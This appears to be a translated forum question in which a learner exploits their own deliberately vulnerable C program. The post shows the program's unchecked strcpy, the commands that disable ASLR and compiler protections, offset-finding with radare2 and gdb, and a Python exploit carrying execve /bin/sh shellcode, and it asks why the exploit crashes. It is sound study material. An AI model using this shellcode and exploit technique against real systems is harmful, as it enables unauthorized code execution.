基于堆栈的缓冲区溢出中的非法指令错误

逆向工程 雷达2 C 数据库 Python 缓冲区溢出
2021-07-08 05:11:03

我写了这个简短的 C 程序来练习缓冲区溢出漏洞:

#include <stdio.h>
#include <string.h>
#include <stddef.h>
#include <inttypes.h>

char *decode(char *s){
  for(int i = 0; i < strlen(s); i++){
    s[i] ^= 0x15;
  }
  return s;
}

void get_secret(int argc, char *argv[]){

  uint32_t eip_addr;
  char secret[] = "}aaef/::lz`a`;wp:qDb!b,BrMvD";
  char buffer[100];

  if(argc > 1){
    strcpy(buffer, argv[1]);
  }else{
    scanf("%s", buffer);
  }

  printf("You entered: %s\n\n", buffer);

  if(strcmp(buffer, secret) == 0){
    printf("Passwords match!\n");
    printf("Here is the secret message: %s\n", decode(secret));
  }else{
    printf("Get the f!@# out of here!\n");
    asm volatile("1: lea 1b, %0;": "=a"(eip_addr));
    printf("EIP address:  %" PRIx32 "; %" PRIu32 " bytes from main start\n",
       eip_addr,eip_addr - (uint32_t)get_secret);
  }
}
int main(int argc, char *argv[]){  
  printf("Welcome to the simple verifier!\n");
  printf("Please enter your password: ");

  get_secret(argc, argv);

  return 0;
}

我停用ASLR,并编译它NXPIECANARY禁用:

echo 0 > /proc/sys/kernel/randomize_va_space
gcc -m32 -g -no-pie -fno-stack-protector -z execstack overflow.c -o overflow

使用r2,ragg2rarun2,我找到了可以覆盖以下返回地址的位置get_secret()

~$ ragg2 -P 200 -r > pattern.txt
~$ echo "#!/usr/bin/rarun2" > profile.rr2 && echo "stdin=./pattern.txt" >> profile.rr2
~$ r2 -r profile.rr2 -d overflow
[0xf7795a20]> dc
EIP address:  804930b; 257 bytes from main start
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41784141 code=1 ret=0
[0x41784141]> wopO 0x41784141
145
[0x41784141]> 

所以,现在我确切地知道我的有效载荷必须有多大才能到达返回地址,145 字节。现在我找到了一个指向堆栈的地址,使用gdb

~$ gdb overflow_exe -q
gdb-peda$ b 20
gdb-peda$ b 25
gdb-peda$ r $(python -c 'print "A"*145+"B"*4')
gdb-peda$ c
gdb-peda$ x/200x $esp
0xffffd100: 0x39    0x25    0xfe    0xf7    0x00    0x00    0x00    0x00
0xffffd108: 0x7d    0xc5    0xe5    0x41    0x41    0x41    0x41    0x41
0xffffd110: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd118: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd120: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd128: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd130: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd138: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd140: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd148: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd150: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd158: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd160: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd168: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd170: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd178: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd180: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd188: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd190: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd198: 0x41    0x41    0x41    0x41    0x42    0x42    0x42    0x42
0xffffd1a0: 0x00    0x00    0x00    0x00    0x74    0xd2    0xff    0xff
0xffffd1a8: 0x80    0x28    0xe2    0xf7    0x55    0x93    0x04    0x08
0xffffd1b0: 0x02    0x00    0x00    0x00    0x74    0xd2    0xff    0xff
0xffffd1b8: 0x80    0xd2    0xff    0xff    0xe0    0xd1    0xff    0xff
0xffffd1c0: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00
gdb-peda$

应该能够\x41\x90s替换那些s ,将我的 shellcode 附加到它,然后堆栈上的一些地址到它的末尾,使我的有效负载看起来像这样:

"\x90"*117 + </bin/sh shellcode> + <some address that's filled with \x90>

使用这个逻辑,我在 NOP 中间选择了一个地址0xffffd150,并制作了以下 python 漏洞:

#!/usr/bin/env python
import struct, os

#land in middle of NOPs
ret_addr = 0xffffd150

#shellcode -> 28 bytes
shell_code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

#correct endianess
def conv(val):
    return struct.pack('<I', val)

# Build the exploit string
# 149 bytes to overwrite the ret addr total
# Need to take 28 bytes for the shellcode and 4 for the return addr
# 145 - 28 = 117
exp = "\x90"*117
exp += shell_code # at the ret addr (145 bytes) here
exp += conv(ret_addr)

print("Starting exploit")
os.system("./overflow_exe "+exp)

但是...我不断收到非法指令错误:

~$ ./overflow_exploit.py 
Starting exploit
Welcome to the simple verifier!
Please enter your password: You entered: ���������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin�����°
                 1�@̀P���

Get the f!@# out of here!
EIP address:  804930b; 257 bytes from main start
Illegal instruction

回到里面,gdb我可以看到 NOP sled、shellcode 和返回地址,所有它们应该在的地方:

gdb-peda$ x/200x $esp
0xffffd120: 0xf7fe2539  0x00000000  0x90e5c57d  0x90909090
0xffffd130: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd140: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd150: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd160: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd170: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd180: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd190: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd1a0: 0x6850c031  0x68732f2f  0x69622f68  0x89e3896e
0xffffd1b0: 0xb0c289c1  0x3180cd0b  0x80cd40c0  0xffffd150

我不知所措。我重新检查了二进制文件的安全功能,但 NX 仍然被禁用(这是我能想到的解释 shellcode 引发“非法指令”错误的唯一原因):

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

为什么Illegal instruction当所有安全功能都被禁用并且我的 shellcode 在堆栈中的正确位置时,我的漏洞利用会抛出错误?

我在 Debian 9

0个回答
没有发现任何回复~